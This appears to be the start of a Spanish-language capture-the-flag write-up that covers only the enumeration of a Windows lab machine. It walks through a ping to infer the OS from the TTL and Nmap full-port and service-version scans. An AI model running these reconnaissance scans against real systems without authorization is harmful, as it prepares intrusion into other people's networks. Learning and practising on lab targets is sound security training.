Enumeration

Ping para obtener ruta de retorno

Realizamos un ping a la máquina objetivo para verificar la conectividad y obtener información sobre la ruta utilizando la opción -R para incluir la ruta de retorno:

Kali Linux Machine

ping -c 1 10.129.85.148 -R

El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la máquina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duración que un paquete puede estar en una red antes de ser descartado. Windows establece por defecto el valor de TTL de sus paquetes IP en 128, que al pasar por un salto en la red se decrementa a 127.

Escaneo de puertos con Nmap

Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la máquina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mínima de paquetes y -vvv para un nivel de verbosidad alto. Además, utilizamos -n para desactivar la resolución de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra función extractPorts:

Kali Linux Machine

sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.85.148 -oG allPorts
extractPorts allPorts

Escaneo detallado con Nmap

Posteriormente, realizamos un escaneo más detallado de los puertos identificados utilizando la opción -sCV para detección de versiones y scripts de enumeración de servicios. Específicamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:

Kali Linux Machine

sudo nmap -sCV -pPORTS 10.129.85.148 -oN targeted
